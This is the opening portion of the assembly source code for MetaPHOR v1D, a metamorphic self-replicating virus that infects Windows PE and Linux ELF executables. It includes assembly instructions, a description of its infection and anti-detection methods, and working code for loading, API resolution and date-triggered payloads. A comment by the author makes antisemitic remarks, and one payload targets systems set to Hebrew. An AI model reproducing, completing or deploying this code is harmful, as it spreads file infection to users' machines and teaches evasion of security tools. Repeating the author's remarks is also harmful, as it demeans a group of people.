;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; ---------------------------- ;;
;; * Win32/Linux.MetaPHOR v1D * ;;
;; ---------------------------- ;;
;; ;;
;; Metamorphic Permutating High-Obfuscating Reassembler ;;
;; ;;
;; Coded by The Mental Driller/29A ;;
;; ;;
;; ;;
;; This virus is only code. No tables, no indirect jumps, etc. etc. It ;;
;; doesn't uses the stack to construct strings, executable code or data: ;;
;; what I do is a reservation of 3'5 Mb of data (more or less) with ;;
;; VirtualAlloc/malloc and then use the decryptor to copy the decrypted ;;
;; virus there (or unencrypted, since it has a probability of 1/16 of being ;;
;; unencrypted, so the decryptor in that cases is in fact a copy routine). ;;
;; The reserved memory is organized in sections (as if it were a PE) where I ;;
;; do all the operations. ;;
;; ;;
;; Undex Linux: ;;
;; If malloc() nor exit() is imported by the executable, then it's not ;;
;; infected. If it has this two functions imported, then malloc is used in ;;
;; the decryptor ;;
;; ;;
;; Under Win32: ;;
;; VirtualAlloc will be retrieved by the decryptor if it's not imported by ;;
;; the host, and the host must import GetModuleHandleA/W or LoadLibraryA/W ;;
;; and GetProcAddress to be infected. This functions will be used by the ;;
;; virus to get the needed APIs. ;;
;; ;;
;; ;;
;; The type of metamorphism followed is what I call the "accordion model": ;;
;; disassembly/depermutation -> shrinking -> permutation -> expansion -> ;;
;; -> reassembly, so the code can be bigger or smaller than the previous ;;
;; generation. ;;
;; ;;
;; The metamorphism in this virus is complete: even the result of the ;;
;; shrinking can't be used for detection, because is different in every ;;
;; generation. That's the point where I introduce a new concept: dimensions ;;
;; in recoding (I mean, code that only get shrinked on two or more ;;
;; generations, but not in the immediate following; this would be the ;;
;; "third" dimension). This makes the disassembly to have always a different ;;
;; shape from generation to generation, but, when stabilized, never growing ;;
;; uncontrolablely. ;;
;; ;;
;; I have added a genetic algorithm in certain parts of the code to make it ;;
;; evolve to the best shape (the one that evades more detections, the action ;;
;; more stealthy, etc. etc.). It's a simple algorithm based on weights, so ;;
;; don't expect artificial intelligence :) (well, maybe in the future :P). ;;
;; ;;
;; I tried to comment the code as cleanly as possible, but well... :) ;;
;; ;;
;; If the code isn't optimized (in fact, it's NOT optimized), it's because: ;;
;; ;;
;; 1) It's more clear to see the code that the internal engine will deal ;;
;; with (for example, many times I use SUB ECX,1 instead of DEC ECX, ;;
;; although the disassembler can deal with both opcodes). ;;
;; 2) What's the point for optimizing the code when in next generation it ;;
;; will be completely unoptimized/garbled? :) ;;
;; 3) The obfuscation in next generations is bigger (MUCH bigger). ;;
;; ;;
;; ;;
;; General sheet of characteristics: ;;
;; ;;
;; Name of the virus.............: MetaPHOR v1D ;;
;; Author........................: The Mental Driller / 29A (when I made ;;
;; it, now ex-29A, ;;
;; for the moment) ;;
;; Size..........................: On 1st generation: aprox. 39450 bytes ;;
;; On next ones: variable, but not less ;;
;; than 80 Kb ;;
;; Targets.......................: Win32 PE EXEs, supporting three types ;;
;; of infection: mid-infection (when ;;
;; .reloc is present), at last section ;;
;; but using the padding space between ;;
;; sections to store the decrytor/mover, ;;
;; or all at last section. ;;
;; Linux ELFs, adding a new section in ;;
;; the data segment. ;;
;; It infects PEs/ELFs with a 50% of prob.;;
;; in current directory and going up the ;;
;; directory tree by three levels. It ;;
;; also retrieves the drive strings on ;;
;; the system and makes the same if they ;;
;; are fixed or network drives (on Win32) ;;
;; or it retrieves the mounted units and ;;
;; infects there. ;;
;; It uses EPO patching ExitProcess/_exit ;;
;; on Win32 and exit() on Linux. ;;
;; Stealth action................: It doesn't enter in directories that ;;
;; begin with 'W' (avoiding the windows ;;
;; directory) and doesn't infect files ;;
;; with a 'V' in the name or beginning ;;
;; with the letters 'PA', 'F-', 'SC', ;;
;; 'DR' or 'NO'. ;;
;; Genetic algorithm in the selection of ;;
;; the infection methods, the creation of ;;
;; of the decryptor and some more things ;;
;; to make it more resistant or more ;;
;; difficult to detect due to "evolution".;;
;; Encrypted.....................: Sometimes not. ;;
;; Polymorphic...................: Yes ;;
;; Metamorphic...................: Yes ;;
;; Payloads......................: For Win32: ;;
;; 1) A message box on 17h March and ;;
;; September with a metamorphic message ;;
;; :). ;;
;; 2) On 14h May and on hebrew systems it ;;
;; displays a messagebox with the text: ;;
;; "Free Palestine!" ;;
;; For Linux: ;;
;; Exactly the same payload but writing ;;
;; the strings to stdout. ;;
;; Anti-debugging................: Implicit ;;
;; Release history...............: ;;
;; v1A: 11-02-2002 (I just finished commenting the source code ;;
;; and correcting the bugs I found doing that). ;;
;; v1B: 14-02-2002 ;;
;; v1C: 06-05-2002 (just three weeks after I seriously began ;;
;; with Linux). ;;
;; v1D: 26-07-2004 Just to to correct a pair of bugs and add some ;;
;; comments. Detection now is a lot harder due to ;;
;; the correction of these bugs. ;;
;; ;;
;; ;;
;; To do in next versions: ;;
;; ;;
;; 1) Reassembly for different processors: IA64, Alpha, PowerPC, etc. I only ;;
;; have to code a new disassembler/reassembler, since for every internal ;;
;; operation I use a self-defined pseudo-assembler with its own opcodes. ;;
;; 2) Plug-in injector ;;
;; 3) More things (of course!! :). ;;
;; ;;
;; Thanks to: ;;
;; - 29A, members and ex-members ;;
;; - Old coders that made serious shit, and the others that discovered it. ;;
;; - Musicians that make my life easier. ;;
;; ;;
;; In this period of life I have (re)discovered dark music and extreme metal,;;
;; maybe when I was supposed to need some happier music, but what the heck! ;;
;; This time musical dedications go to Cradle of Filth and Dimmu Borgir. ;;
;; ;;
;; ;;
;; To assemble: ;;
;; TASM32 /m29A /ml MetaPHOR.asm ;;
;; TLINK32 -Tpe -aa -x MetaPHOR.obj,,,kernel32.lib ;;
;; ;;
;; No need of PEWRSEC! ;;
;; ;;
;; ;;
;; Quick reference (keyword search): ;;
;; ;;
;; Variable declaration........................: Key_!VarDeclr ;;
;; Beginning of virus..........................: Key_!VirusStart ;;
;; Disassembler................................: Key_!Disassembler ;;
;; Shrinker....................................: Key_!Shrinker ;;
;; Variable identificator......................: Key_!VarIdent ;;
;; Permutator..................................: Key_!Permutator ;;
;; Expander....................................: Key_!Xpander ;;
;; Reassembler.................................: Key_!Assembler ;;
;; Infection code..............................: Key_!Infector ;;
;; Decryptor maker.............................: Key_!MakePoly ;;
;; ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.386p
.model flat
locals
.code
ret ; All code in DATA section. TASM allow this and we
.data ; don't need to activate the write flag after assembling
; the code.
AddressToFree dd 0
extrn ExitProcess:PROC
extrn VirtualAlloc:PROC
extrn VirtualFree:PROC
extrn GetModuleHandleA:PROC
extrn GetProcAddress:PROC
extrn MessageBoxA:PROC ; First generation imports
;; This code (PreMain) only exists at first generation.
;; PreMain is a loader of the virus in the same way an infected host will
;; load it.
PreMain proc
push 4
push 1000h
push 340000h ; Reserve 340000h bytes (~ 3.4Mb)
push 0
call VirtualAlloc
or eax, eax
jz @@Error
mov ebp, eax ; Set delta of reserved memory
mov [AddressToFree], eax
mov ebx, eax
mov esi, offset Main
mov edi, eax
mov ecx, offset EndOfCode
sub ecx, offset Main
rep movsb ; Copy virus
push __DISASM2_SECTION
push __DATA_SECTION
push __BUFFERS_SECTION
push __DISASM_SECTION
push __CODE_SECTION ; Push section addresses
mov eax, offset GetProcAddress
mov eax, [eax+2]
push eax ; Push needed APIs
mov eax, offset GetModuleHandleA
mov eax, [eax+2]
push eax
push 5*2 ; Bit 0=0: 'A', 1:'W' for GetModuleHandle
call ebx ; Call MetaPHOR!
push 0C000h
push 0
push dword ptr [AddressToFree]
call VirtualFree ; This isn't needed at all, since where
; our process is destroyed all the virtual memory
; allocated by it is deallocated automatically.
@@Error:
push 0
call ExitProcess
PreMain endp
;; Now we are executing in the reserved memory
;;
;; ATTENTION: LEAs loading offsets of variables are problematic (due to the
;; variable identificator) so, in the cases like string constructors and
;; getting info from FindFirst and FindNext the operations will be performed
;; directly into memory sections, to avoid them getting marked as variables.
;; In the entrance, the polymorphic loader/decryptor must pass the next data:
;;; DeltaReg --> Initialized (in this case, EBP)
;;;
;;; In reverse-push order (C-like):
;;; * (Number of register used for Delta SHL 1) AND (A/W flag for
;; GetModuleHandleA/W)
;;; * Address to GetModuleHandle in import table
;;; * Address to GetProcAddress in import table
;;; * Offset of CODE_SECTION
;;; * Offset of DISASM_SECTION
;;; * Offset of BUFFERS_SECTION
;;; * Offset of DATA_SECTION
;;; * Offset of DISASM2_SECTION
;;;
;;; All data passed is local to the engine, I mean, it can be modified (and
;;; in fact it will be modified) during the reassembly. In this way we don't
;;; have even the variables in a fixed delta location, although even keeping
;;; fixed section offsets the variables are relocated.
;;
;;
;; KEYWORD: Key_!VirusStart
Main proc
; EBP = Delta offset
pop ebx ; Return address
pop eax
mov ecx, eax
mov edx, eax
and eax, 1
mov [ebp+FlagAorW], eax ; Get if GetModuleHandle is A or W
and ecx, 0000000Eh
shr ecx, 1
mov [ebp+DeltaRegister], ecx ; Get the delta register nr.
and edx, 100h
shr edx, 8
mov [ebp+OperatingSystem], edx ; 0 = Win32, 1 = Linux
or edx, edx
jnz @@NoWin32APIs
pop eax
mov eax, [eax]
mov [ebp+RVA_GetModuleHandle], eax
pop eax
mov eax, [eax]
mov [ebp+RVA_GetProcAddress], eax
@@NoWin32APIs:
pop eax
and eax, 03FFFFFh ; Eliminate the two highest bits
mov [ebp+_CODE_SECTION], eax
pop eax
and eax, 03FFFFFh ; "
mov [ebp+_DISASM_SECTION], eax
pop eax
and eax, 03FFFFFh ; "
mov [ebp+_BUFFERS_SECTION], eax
mov [ebp+_LABEL_SECTION], eax ; Construct the other
add eax, 10000h ; section addresses
mov [ebp+_VARIABLE_SECTION], eax
add eax, 10000h
mov [ebp+_BUFFER1_SECTION], eax
add eax, 10000h
mov [ebp+_BUFFER2_SECTION], eax
add eax, 10000h
mov [ebp+_VAR_MARKS_SECTION], eax
pop eax
and eax, 03FFFFFh
mov [ebp+_DATA_SECTION], eax
pop eax
and eax, 03FFFFFh
mov [ebp+_DISASM2_SECTION], eax
push ebx ; Restore return value
; mov eax, [ebp+_DISASM2_SECTION]
; add eax, ebp
; mov [ebp+OtherBuffers], eax
; mov eax, '!'
; call DebugOutput
mov eax, [ebp+OperatingSystem] ; Fork the process to return
or eax, eax ; to the command line and
jz @@Continue_DontFork ; continue in the background
mov eax, 2
push eax
xor eax, eax
push eax
push eax
xor eax, eax
push eax
call Linux_Syscall
mov eax, [ebp+ReturnValue]
or eax, eax
jnz @@Error
@@Continue_DontFork:
;; Let's set the weights for the genetic algorithm. These are code structures
;; recognized by the shrinker.
;; The initial values of the weights are not arbitrary: they are the initial
;; values that simulate the random behaviour that was before the addition of
;; this type of algorithm.
;; These code structures are shrinked as
;; SET_WEIGHT [ebp+Weight_X000_3],0,EAX,ECX
;; SET_WEIGHT [ebp+Weight_X004_7],1,EAX,ECX
;; and so on.
push eax
mov eax, 0
mov ecx, 10808080h ; Weights 3,2,1 and 0
mov [ebp+Weight_X000_3], ecx
pop eax
push eax
mov eax, 1
mov ecx, 10808010h ; Weights 7,6,5,4
mov [ebp+Weight_X004_7], ecx
pop eax
push eax
mov eax, 2
mov ecx, 80808055h ; Weights 11,10,9,8
mov [ebp+Weight_X008_11], ecx
pop eax
push eax
mov eax, 3
mov ecx, 80408080h ; Weights 15,14,13,12
mov [ebp+Weight_X012_15], ecx
pop eax
push eax
mov eax, 4
mov ecx, 55404040h ; Weights 19,18,17,16
mov [ebp+Weight_X016_19], ecx
pop eax
push eax
mov eax, 5
mov ecx, 0F0808080h ; Weights 23,22,21,20
mov [ebp+Weight_X020_23], ecx
pop eax
push eax
mov eax, 6
mov ecx, 80558080h ; Weights 27,26,25,24
mov [ebp+Weight_X024_27], ecx
pop eax
mov eax, [ebp+OperatingSystem] ; If Linux, use syscalls
or eax, eax
jnz @@DontRetrieveAPIs
;; Let's get the addresses of the APIs that we are going to use:
mov edx, [ebp+_BUFFER1_SECTION]
add edx, ebp
push eax
push ecx
push edx ; APICALL_BEGIN
mov eax, 'nrek'
mov [edx], eax
mov eax, '23le'
mov [edx+4], eax
mov eax, 'lld.'
mov [edx+8], eax
xor eax, eax
mov [edx+0Ch], eax ; Get the address of KERNEL32.DLL
call APICall_GetModuleHandle
pop edx
pop ecx
pop eax ; APICALL_END
mov eax, [ebp+ReturnValue]
or eax, eax ; Get the handle. If 0, we exit
jz @@Error
mov [ebp+hKernel], eax
push eax
push ecx
push edx ; APICALL_BEGIN
mov eax, 'resu'
mov [edx], eax
mov eax, 'd.23'
mov [edx+4], eax
mov eax, 'll'
mov [edx+8], eax ; Get the address of USER32.DLL
call APICall_GetModuleHandle
pop edx
pop ecx
pop eax ; APICALL_END
mov eax, [ebp+ReturnValue] ; It doesn't matter if we
mov [ebp+hUser32], eax ; failed: it's used only to
; get MessageBoxA for the
; payload
mov edx, [ebp+_BUFFER1_SECTION]
add edx, ebp
mov edi, [ebp+hKernel] ; Place to construct the addresses
; names
mov eax, 'aerC'
mov [edx], eax
mov eax, 'iFet'
mov [edx+4], eax
mov eax, 'Ael'
mov [edx+8], eax
call GetFunction ; Get CreateFileA
or eax, eax
jz @@Error
mov [ebp+RVA_CreateFileA], eax
mov eax, 'ppaM'
mov [edx+0Ah], eax
mov eax, 'Agni'
mov [edx+0Eh], eax
xor eax, eax
mov [edx+12h], eax
call GetFunction ; Get CreateFileMappingA
or eax, eax
jz @@Error
mov [ebp+RVA_CreateFileMappingA], eax
add edx, 2
mov eax, 'VpaM'
mov [edx], eax
mov eax, 'Owei'
mov [edx+4], eax
mov eax, 'liFf'
mov [edx+8], eax
mov eax, 'e'
mov [edx+0Ch], eax
call GetFunction ; Get MapViewOfFile
or eax, eax
jz @@Error
mov [ebp+RVA_MapViewOfFile], eax
sub edx, 2
mov eax, 'amnU'
mov [edx], eax
call GetFunction ; Get UnmapViewOfFile
or eax, eax
jz @@Error
mov [ebp+RVA_UnmapViewOfFile], eax
mov eax, 'SteG'
mov [edx], eax
mov eax, 'etsy'
mov [edx+4], eax
mov eax, 'miTm'
mov [edx+8], eax
mov eax, 'e'
mov [edx+0Ch], eax
call GetFunction ; Get GetSystemTime
or eax, eax
jz @@Error
mov [ebp+RVA_GetSystemTime], eax
mov eax, 'virD'
mov [edx+3], eax
mov eax, 'pyTe'
mov [edx+7], eax
mov eax, 'Ae'
mov [edx+0Bh], eax
call GetFunction ; Get GetDriveTypeA
or eax, eax
jz @@Error
mov [ebp+RVA_GetDriveTypeA], eax
mov eax, 'igoL'
mov [edx+3], eax
mov eax, 'Dlac'
mov [edx+7], eax
mov eax, 'evir'
mov [edx+0Bh], eax
mov eax, 'irtS'
mov [edx+0Fh], eax
mov eax, 'Asgn'
mov [edx+13h], eax
xor eax, eax
mov [edx+17h], eax
call GetFunction ; Get GetLogicalDriveStringsA
or eax, eax
jz @@Error
mov [ebp+RVA_GetLogicalDriveStringsA], eax
mov eax, 'tsyS'
mov [edx+3], eax
mov eax, 'eDme'
mov [edx+7], eax
mov eax, 'luaf'
mov [edx+0Bh], eax
mov eax, 'ICLt'
mov [edx+0Fh], eax
mov eax, 'D'
mov [edx+13h], eax
call GetFunction ; Get GetSystemDefaultLCID
or eax, eax
jz @@Error
mov [ebp+RVA_GetSystemDefaultLCID], eax
mov eax, 'CteS'
mov [edx], eax
mov eax, 'erru'
mov [edx+4], eax
mov eax, 'iDtn'
mov [edx+8], eax
mov eax, 'tcer'
mov [edx+0Ch], eax
mov eax, 'Ayro'
mov [edx+10h], eax
xor eax, eax
mov [edx+14h], eax
call GetFunction ; Get SetCurrentDirectoryA
or eax, eax
jz @@Error
mov [ebp+RVA_SetCurrentDirectoryA], eax
mov eax, 'FteG'
mov [edx], eax
mov eax, 'Seli'
mov [edx+4], eax
mov eax, 'ezi'
mov [edx+8], eax
call GetFunction ; Get GetFileSize
or eax, eax
jz @@Error
mov [ebp+RVA_GetFileSize], eax
mov eax, 'rttA'
mov [edx+7], eax
mov eax, 'tubi'
mov [edx+0Bh], eax
mov eax, 'Ase'
mov [edx+0Fh], eax
call GetFunction ; Get GetFileAttributesA
or eax, eax
jz @@Error
mov [ebp+RVA_GetFileAttributesA], eax
mov eax, 'FteS'
mov [edx], eax
call GetFunction ; Get SetFileAttributesA
or eax, eax
jz @@Error
mov [ebp+RVA_SetFileAttributesA], eax
mov eax, 'nioP'
mov [edx+7], eax
mov eax, 'ret'
mov [edx+0Bh], eax
call GetFunction ; Get SetFilePointer
or eax, eax
jz @@Error
mov [ebp+RVA_SetFilePointer], eax
mov eax, 'emiT'
mov [edx+7], eax
xor eax, eax
mov [edx+0Bh], eax
call GetFunction ; Get SetFileTime
or eax, eax
jz @@Error
mov [ebp+RVA_SetFileTime], eax
mov eax, 'OdnE'
mov [edx+3], eax
mov eax, 'liFf'
mov [edx+7], eax
mov eax, 'e'
mov [edx+0Bh], eax
call GetFunction ; Get SetEndOfFile
or eax, eax
jz @@Error
mov [ebp+RVA_SetEndOfFile], eax
mov eax, 'dniF'
mov [edx], eax
mov eax, 'sriF'
mov [edx+4], eax
mov eax, 'liFt'
mov [edx+8], eax
mov eax, 'Ae'
mov [edx+0Ch], eax
call GetFunction ; Get FindFirstFileA
or eax, eax
jz @@Error
mov [ebp+RVA_FindFirstFileA], eax
mov eax, 'txeN'
mov [edx+4], eax
mov eax, 'eliF'
mov [edx+8], eax
mov eax, 'A'
mov [edx+0Ch], eax
call GetFunction ; Get FindNextFileA
or eax, eax
jz @@Error
mov [ebp+RVA_FindNextFileA], eax
mov eax, 'solC'
mov [edx+4], eax
mov eax, 'e'
mov [edx+8], eax
call GetFunction ; Get FindClose
or eax, eax
jz @@Error
mov [ebp+RVA_FindClose], eax
add edx, 4
mov eax, 'dnaH'
mov [edx+5], eax
mov eax, 'el'
mov [edx+9], eax
call GetFunction ; Get CloseHandle
or eax, eax
jz @@Error
mov [ebp+RVA_CloseHandle], eax
sub edx, 4
mov edi, [ebp+hUser32] ; Maybe NULL, but it's allowed by
mov eax, 'sseM' ; GetProcAddress
mov [edx], eax
mov eax, 'Bega'
mov [edx+4], eax
mov eax, 'Axo'
mov [edx+8], eax
call GetFunction ; Get MessageBoxA (from User32.DLL)
mov [ebp+RVA_MessageBoxA], eax ; 0 if not found or library
; not loaded
@@DontRetrieveAPIs:
;; Let's initialize the random seed
mov eax, [ebp+OperatingSystem]
or eax, eax
jz @@W32_GetSystemTime
mov eax, 0Dh ; Get the time of the system (Linux)
push eax
mov eax, [ebp+_BUFFER1_SECTION]
add eax, ebp
push eax
xor eax, eax
push eax
push eax
call Linux_Syscall
mov eax, [ebp+ReturnValue]
mov [ebp+RndSeed1], eax
mov eax, [ebp+_CODE_SECTION] ; Mix it with the first bytes
add eax, ebp ; of this mutation
mov eax, [eax+5]
mov [ebp+RndSeed2], eax
jmp @@GarbleRandomSeeds
@@W32_GetSystemTime:
push eax
push ecx
push edx ; APICALL_BEGIN
mov eax, [ebp+_BUFFER1_SECTION]
add eax, ebp
push eax
call dword ptr [ebp+RVA_GetSystemTime]
pop edx
pop ecx
pop eax ; APICALL_END
mov ebx, [ebp+_BUFFER1_SECTION]
add ebx, ebp
mov eax, [ebx+04h]
add eax, [ebx+0Ch]
mov [ebp+RndSeed1], eax
add eax, [ebx+08h]
mov [ebp+RndSeed2], eax
@@GarbleRandomSeeds:
call Random
call Random ; Garble it a little
;; Now let's make some mixtures in the weights. Since the weights are
;; going to be hardcoded on the virus code before its use, we make here
;; some "garblement" to force the evolution of the infection methods. With
;; this, only the most powerful features will "survive".
xor ecx, ecx
@@LoopGarbleWeights:
push ecx
and ecx, 3
mov eax, ecx
call RandomBoolean_X000_3
mov eax, ecx
call RandomBoolean_X004_7
mov eax, ecx
call RandomBoolean_X008_11
mov eax, ecx
call RandomBoolean_X012_15
mov eax, ecx
call RandomBoolean_X016_19
mov eax, ecx
call RandomBoolean_X020_23
mov eax, ecx
call RandomBoolean_X024_27
pop ecx
add ecx, 1
cmp ecx, 40h
jnz @@LoopGarbleWeights
;; Payload
;;---------
;; Simple, silly MessageBox with a metamorphic message :)
;; The message is "MetaPHOR v1 by The Mental Driller/29A" but selecting
;; randomly the case of all letters.
mov eax, [ebp+OperatingSystem]
or eax, eax
jz @@TryWin32Payload
mov edx, [ebp+_BUFFER1_SECTION]
add edx, ebp
mov eax, [edx]
xor esi, esi
mov ecx, 2
mov ebx, 3C93DC80h ; Seconds time-stamp for 17/03/2002
@@LoopCheckDay_1:
cmp eax, ebx
jb @@CheckPayload2
add ebx, 15180h
cmp eax, ebx
jb @@MakePayload
add ebx, 0F29400h - 15180h ; Add the "distance" in seconds
cmp eax, ebx ; from 17/03 to 17/09
jb @@CheckPayload2
add ebx, 15180h
cmp eax, ebx
jb @@MakePayload
add ebx, 0EE9F80h - 15180h ; Add to get the next year
add ecx, 1
and ecx, 3
or ecx, ecx
jnz @@DontAddFeb29th_1
add ebx, 15180h
@@DontAddFeb29th_1:
inc esi
cmp esi, 20h
jbe @@LoopCheckDay_1
jmp @@CheckPayload2
@@TryWin32Payload:
mov eax, [ebp+RVA_MessageBoxA]
or eax, eax
jz @@NoPayload ; If we couldn't retrieve MessageBoxA,
; skip the payload
mov edx, [ebp+_BUFFER1_SECTION]
add edx, ebp
mov eax, [edx+2]
and eax, 0FFh
cmp eax, 3 ; Month: March, June, September or
jz @@Payload_Month ; December
;cmp eax, 6
;jz @@Payload_Month
cmp eax, 9
; jz @@Payload_Month
;cmp eax, 0Ch
jnz @@CheckPayload2
@@Payload_Month:
mov eax, [edx+6]
and eax, 0FFh
cmp eax, 11h ; Day: 17
jnz @@CheckPayload2
@@MakePayload:
mov ecx, edx
push edx
call Random
and eax, 20202020h ;; All the phrase is:
add eax, 'ATEM' ;; "META"
mov [edx], eax
add edx, 4
call Random
and eax, 20202020h
add eax, 'ROHP' ;; "PHOR"
mov [edx], eax
add edx, 4
call Random
and eax, 00200000h
add eax, ' D1 ' ;; " 1D "
mov [edx], eax
add edx, 4
call Random
and eax, 20002020h
add eax, 'T YB' ;; "BY T"
mov [edx], eax
add edx, 4
call Random
and eax, 20002020h
add eax, 'M EH' ;; "HE M"
mov [edx], eax
add edx, 4
call Random
and eax, 20202020h
add eax, 'ATNE' ;; "ENTA"
mov [edx], eax
add edx, 4
call Random
and eax, 20200020h
add eax, 'RD L' ;; "L DR"
mov [edx], eax
add edx, 4
call Random
and eax, 20202020h
add eax, 'ELLI' ;; "ILLE"
mov [edx], eax
add edx, 4
call Random
and eax, 00000020h
add eax, '92/R' ;; "R/29"
mov [edx], eax
add edx, 4
call Random
and eax, 0FFFF0020h
add eax, 'A' ;; "A"
mov [edx], eax
sub edx, ecx
mov ecx, edx
pop edx
mov eax, [ebp+OperatingSystem]
or eax, eax
jz @@MakeMessageBox
add ecx, 2 ; Add an intro under Linux
mov eax, 0Ah
add edx, ecx
mov [edx-1], eax
sub edx, ecx
mov eax, 4
push eax
mov eax, 1
push eax
push edx
xor eax, eax
push ecx
call Linux_Syscall ; Write it to stdout
jmp @@EndPayload
@@MakeMessageBox:
; "METAPHOR 1D BY THE MENTAL DRILLER/29A"
push eax ; with random upcases and lowcases.
push ecx
push edx ; APICALL_BEGIN
xor eax, eax
push eax
mov eax, edx
push eax
push eax
xor eax, eax
push eax
call dword ptr [ebp+RVA_MessageBoxA]
pop edx
pop ecx
pop eax
jmp @@EndPayload
; Not so-silly 2nd part of the payload.
; We get the system language and, if it's hebrew, we show a message box with
; the message "Free Palestine!", my little contribution against the illegal
; occupation performed by the jews and supported by the USA. The message will
; show on 14 May, the day that the state of Israel was self-declarated.
; Notice that I'm not supporting organizations like Hamas or shit like that,
; but it's true that jews began the war stealing the Palestinian home to
; the Palestinian People. Anyway, killing people is not the solution
; (wherever the side of the conflict they are in).
@@CheckPayload2:
mov eax, [ebp+OperatingSystem]
or eax, eax
jz @@TryWin32Payload_2
mov eax, [edx]
mov [ebp+Linux_SecondsCount], eax ; Save seconds
mov eax, 'orp/' ; Open the environment variables for
mov [edx], eax ; this process
mov eax, 'es/c'
mov [edx+4], eax
mov eax, 'e/fl'
mov [edx+8], eax
mov eax, 'rivn'
mov [edx+0Ch], eax
mov eax, 'no'
mov [edx+10h], eax
mov eax, 5
push eax
push edx
xor eax, eax
push eax
push eax
call Linux_Syscall ; Open /proc/self/environ
mov eax, [ebp+ReturnValue]
or eax, eax
jz @@NoPayload
cmp eax, 0FFFFF000h
jae @@NoPayload
mov [ebp+hFile], eax
mov ebx, eax
mov eax, 3 ; Read the file
push eax
push ebx
mov eax, edx
push eax
mov eax, 1000h
push eax
call Linux_Syscall
mov eax, [ebp+ReturnValue]
push eax
mov eax, 6 ; Close the file descriptor
push eax
mov eax, [ebp+hFile]
push eax
xor eax, eax
push eax
push eax
call Linux_Syscall
pop eax
cmp eax, 8
jbe @@NoPayload
cmp eax, 3FF8h ; If too big, exit from payload rout.
jae @@NoPayload
;; We get the Linux locale
mov esi, [ebp+_BUFFER1_SECTION]
add esi, ebp
mov edx, esi
sub eax, 8
; EAX = Count
@@LoopSearchLANG:
mov ecx, [esi]
and ecx, 0DFDFDFDFh ; Search the language variable
cmp ecx, 'GNAL' AND 0DFDFDFDFh
jz @@MaybeLANGFound
@@SearchLANGNext:
add esi, 1
sub eax, 1
or eax, eax
jnz @@LoopSearchLANG
jmp @@NoPayload
@@MaybeLANGFound:
mov ecx, [esi+4]
and ecx, 0FFh
cmp ecx, '='
jnz @@SearchLANGNext
mov ecx, [esi+5]
and ecx, 0000DFDFh ; Hebrew?
cmp ecx, 'EH' AND 0000DFDFh
jnz @@SearchLANGNext
mov eax, [ebp+Linux_SecondsCount]
;mov edx, [ebp+_BUFFER1_SECTION]
;add edx, ebp
xor esi, esi
mov ecx, 2
mov ebx, 3CE05380h ; Seconds for 14 May 2002
@@LoopCheckDay:
cmp eax, ebx
jb @@NoPayload
add ebx, 15180h ; Add a day
cmp eax, ebx
jb @@MakePayload2
add ebx, 1E13380h - 15180h ; Get the next year
add ecx, 1
and ecx, 3
or ecx, ecx
jnz @@DontAddFeb29th ; Add a day if year is multiple of 4
add ebx, 15180h
@@DontAddFeb29th:
inc esi
cmp esi, 20h ; Up to 32 years (!) (can I expect a sooo
jbe @@LoopCheckDay ; long life for this virus? :)
jmp @@NoPayload
@@TryWin32Payload_2:
mov eax, [edx+2]
and eax, 0FFh
cmp eax, 5 ; May
jnz @@NoPayload
mov eax, [edx+6]
and eax, 0FFh
cmp eax, 0Eh ; 14th
jnz @@NoPayload
push eax
push ecx
push edx
call dword ptr [ebp+RVA_GetSystemDefaultLCID]
mov [ebp+ReturnValue], eax
pop edx
pop ecx
pop eax
mov eax, [ebp+ReturnValue]
and eax, 0FFFFh
cmp eax, 040Dh ; System language: hebrew?
jnz @@NoPayload
@@MakePayload2:
push edx
mov eax, 'eerF'
mov [edx], eax
add edx, 4
mov eax, 'laP '
mov [edx], eax
add edx, 4
mov eax, 'itse'
mov [edx], eax
add edx, 4
mov eax, '!en' ; Show our disconformity with jewish
mov [edx], eax ; invasion of Palestine and all their
pop edx ; fascist acting up to date (in a
; peaceful way)
mov eax, [ebp+OperatingSystem]
or eax, eax
jz @@Payload2_Win32
add edx, 0Fh
mov eax, 0Ah
mov [edx], eax
sub edx, 0Fh
mov eax, 4
push eax
mov eax, 1
push eax
push edx
mov eax, 10h ; Write the string to stdout
push eax
call Linux_Syscall
jmp @@EndPayload
@@Payload2_Win32:
push eax
push ecx
push edx
xor eax, eax
push eax
mov eax, edx
push eax
push eax
xor eax, eax
push eax
call dword ptr [ebp+RVA_MessageBoxA]
pop edx
pop ecx
pop eax
@@EndPayload:
@@NoPayload:
;; Now we are going to get random frames for variables, dissasembly, etc. for
;; the next generation usage. These variables must be passed "from the
;; outside" (as parameters from the loader/decryptor).
;;
;; Sizes of frames:
;; CODE_SECTION = 80000h
;; DISASM_SECTION = 100000h
;; LABEL_SECTION = 10000h +
;; VARIABLE_SECTION = 10000h +
;; BUFFER1_SECTION = 10000h +
;; BUFFER2_SECTION = 10000h +
;; VAR_MARKS_SECTION = 20000h =
;; BUFFERS_SECTION = 60000h
;; DATA_SECTION = 20000h
;; DISASM2_SECTION = 100000h
;; -----------
;; 300000h
;; We always reserve 3'4 Mb of virtual memory at least, so we can add a random
;; shifting up to 256 Kb (40000h bytes)
mov esi, [ebp+_DISASM_SECTION]
add esi, ebp
xor eax, eax ; Let's fabricate a random permutation of
push esi ; the sequence 0,1,2,3,4,5.
@@LoopGarbleSect_01:
mov ebx, eax
add eax, 1
mov ecx, eax
add eax, 1
mov edx, eax
add eax, 1
push eax
call Xp_GarbleRegisters ; Garble EBX, ECX and EDX
pop eax
mov [esi], ebx
mov [esi+4], ecx
mov [esi+8], edx ; Store the garbled sequence
add esi, 0Ch
cmp eax, 6
jnz @@LoopGarbleSect_01 ; Repeat it again (get 4,5,6)
pop esi
push esi
mov ecx, 2 ; Now garble the <0,1,2> with the <3,4,5>
@@LoopGarbleSect_02:
push ecx
mov ebx, [esi] ; Get value at position 0,2,4 and
mov ecx, [esi+08h] ; garble it
mov edx, [esi+10h]
call Xp_GarbleRegisters
mov [esi], ebx
mov [esi+08h], ecx
mov [esi+10h], edx ; Store the shuffling
pop ecx
add esi, 4
sub ecx, 1
or ecx, ecx
jnz @@LoopGarbleSect_02 ; Make it with positions 1,3,5
pop esi
mov ecx, 6
xor edx, edx ; Initialize adder
@@LoopGarbleSect_03:
call Random
and eax, 7FFFh ; *5 = 40000h ; Add a random shifting
add edx, eax
mov eax, [esi]
or eax, eax ; 0?
jz @@GarbleSect_CodeSection ; Then set CODE_SECTION address
cmp eax, 1 ; 1?
